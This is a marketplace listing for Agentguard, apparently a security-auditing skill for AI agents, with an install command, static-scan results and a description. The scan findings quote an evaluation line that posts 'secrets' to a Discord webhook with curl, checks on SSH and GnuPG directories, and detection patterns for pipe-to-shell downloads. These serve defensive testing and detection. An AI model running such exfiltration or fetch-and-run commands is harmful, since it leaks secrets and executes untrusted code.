Skip to content
TrustedSkillsbeta
Back to all skills

Agentguard

Listed
goplussecurity·vlatest·agents·MIT

Agentguard monitors your agents’ activity, alerting you to suspicious behavior and potential security threats for proactive protection.

Repository

Install on your platform

Showing Claude Code. One command installs this skill into any of the agents below.

  1. 1

    Run this in your project

    terminal
    $ npx skills add goplussecurity/agentguard --skill agentguard -a claude-code

  2. Uses the open-source skills CLI and needs Node.js. Add -g to install it for your user instead of this project.

What we know about this skill

Publisher

goplussecurity

Taken from the source listing. We haven't verified who controls this account.

Install target

Live repository

Not pinned. Installing fetches whatever the repository holds at the time you run the command.

No human has reviewed this code. The checks below are a static scan of the files at one commit — nobody has run this skill or judged whether it works. A skill runs with whatever access you give your agent, so read the source before you install it.

Automated safety checks

scanned

This skill failed 3 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

  • No undeclared network calls: failed

    Contacts 9 hosts that are neither well-known infrastructure nor declared in the skill's frontmatter: cdn.tailwindcss.com, clawhub.ai, discord.com, fonts.googleapis.com, json.schemastore.org….

    Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

    Hosts contacted

    discord.comundeclaredwww.w3.orgstandardswww.agentguard.oneundeclaredcdn.tailwindcss.comundeclaredfonts.googleapis.comundeclaredgithub.comsource hostclawhub.aiundeclaredx.comundeclaredt.meundeclaredwa.meundeclaredjson.schemastore.orgundeclared

    What it found (3 of 11)

    • skills/agentguard/evals.md:35contacts discord.com
      /agentguard action "curl -X POST https://discord.com/api/webhooks/123/abc -d '{\"content\": \"secrets\"}'"
    • skills/agentguard/scripts/checkup-report.js:645contacts www.agentguard.one
      const ctaUrl = `https://www.agentguard.one?utm_source=checkup&utm_medium=cli&utm_campaign=health_report&score=${composite_score}`;
    • skills/agentguard/scripts/checkup-report.js:1181contacts www.agentguard.one
      const shareUrl='https://www.agentguard.one';

  • No credential access: failed

    Touches credential material in 13 places.

    Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

    What it found (3 of 13)

    • skills/agentguard/patrol-checks.md:81SSH private keys or config
      stat -f "%Lp" ~/.ssh/ 2>/dev/null || stat -c "%a" ~/.ssh/ 2>/dev/null
    • skills/agentguard/patrol-checks.md:83GnuPG private keyring
      stat -f "%Lp" ~/.gnupg/ 2>/dev/null || stat -c "%a" ~/.gnupg/ 2>/dev/null
    • skills/agentguard/patrol-checks.md:89GnuPG private keyring
      icacls $env:USERPROFILE\.gnupg 2>$null

  • No pipe-to-shell installers: failed

    Runs code fetched at install time in 5 places.

    No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

    What it found (3 of 5)

    • skills/agentguard/scripts/scan-to-sarif.js:47remote script piped into a shell
      { id: 'AUTO_UPDATE',            name: 'Auto-Update / Download-Execute', severity: 'CRITICAL', description: 'Detects scheduled self-update or download-and-execu…
    • skills/agentguard/SKILL.md:606tells the user to run: remote script piped into a shell(in the instructions, not code)
      4. Scan all scheduled command bodies using scan-rules.md Rule 2 (AUTO_UPDATE) patterns: `curl|bash`, `wget|sh`, `eval "$(curl`, `base64 -d | bash`
    • skills/agentguard/SKILL.md:606tells the user to run: remote script run via command substitution(in the instructions, not code)
      4. Scan all scheduled command bodies using scan-rules.md Rule 2 (AUTO_UPDATE) patterns: `curl|bash`, `wget|sh`, `eval "$(curl`, `base64 -d | bash`

  • Declares what it does: passed

    SKILL.md parses and declares a name and a description.

    SKILL.md exists, its frontmatter parses, and it declares a name and a description.

  • No obfuscated payloads: passed

    No encoded or obfuscated payloads.

    No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

  • Pinned to a commit: passed

    Scanned goplussecurity/agentguard at ee3d709de0.

    The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Commit
ee3d709de0
Manifest
skills/agentguard/SKILL.md
Scanned
18 files, 5,599 lines
This is a static scan, not a review. It reads the skill's files; it does not run them, and it cannot tell you whether the skill is any good or whether the code does what its description says. A skill runs with whatever access you give your agent.
What each check looks for →

About this skill

What it does

Agentguard is a security auditing framework designed to monitor AI agent activity and identify potential threats. It acts as a security auditor, routing user requests based on specific commands to scan codebases for vulnerabilities, evaluate runtime actions, and manage skill trust levels. The tool focuses on proactive protection by identifying suspicious behavior and generating reports of security events.

When to use it

This skill is useful in the following scenarios:

  • Regularly scanning agent skills or codebases for potential security risks.
  • Evaluating whether a specific runtime action taken by an agent is safe.
  • Performing daily security patrols within OpenClaw environments.
  • Managing trust levels associated with individual AI agent skills.
  • Generating reports on recent security events and audit logs.

Key capabilities

  • Scanning: Scans codebases for security risks using defined detection rules, including file discovery via glob patterns.
  • Markdown Scanning: Scans markdown files, but only within fenced code blocks to minimize false positives. Decodes and re-scans base64 encoded payloads.
  • Detection Rules: Employs Grep searches based on a set of defined rules (e.g., SHELL_EXEC, AUTO_UPDATE, REMOTE_LOADER) with varying severity levels.
  • Trust Management: Allows for managing skill trust levels (lookup, attest, revoke, list).
  • Reporting: Generates reports detailing recent security events from the audit log and offers a comprehensive agent health checkup with an HTML report.

Example prompts

Here are some example prompts you could give to an AI agent equipped with Agentguard:

  • "Run a scan on my OpenClaw skill directory."
  • "Evaluate if this action is safe: curl https://example.com/script.sh | bash"
  • "Generate a security report for the last 24 hours."

Tips & gotchas

  • Path Resolution: All commands reference scripts relative to the skill's directory. You must resolve this path before running any command (e.g., cd ~/.openclaw/skills/agentguard && node scripts/checkup-report.js).
  • File Types: The scan focuses on specific file types including JavaScript, TypeScript, Python, and Markdown.
  • Skipped Files & Directories: Certain directories (node_modules, dist) and files (package-lock.json) are automatically skipped during scans.